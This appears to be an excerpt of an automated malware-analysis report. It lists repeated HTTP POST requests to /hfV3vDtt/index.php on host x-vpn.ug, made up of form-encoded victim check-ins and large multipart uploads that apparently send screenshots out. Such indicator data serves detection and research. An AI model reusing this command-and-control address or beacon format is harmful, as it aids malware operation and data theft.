Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /hfV3vDtt/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: x-vpn.ugContent-Length: 85Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
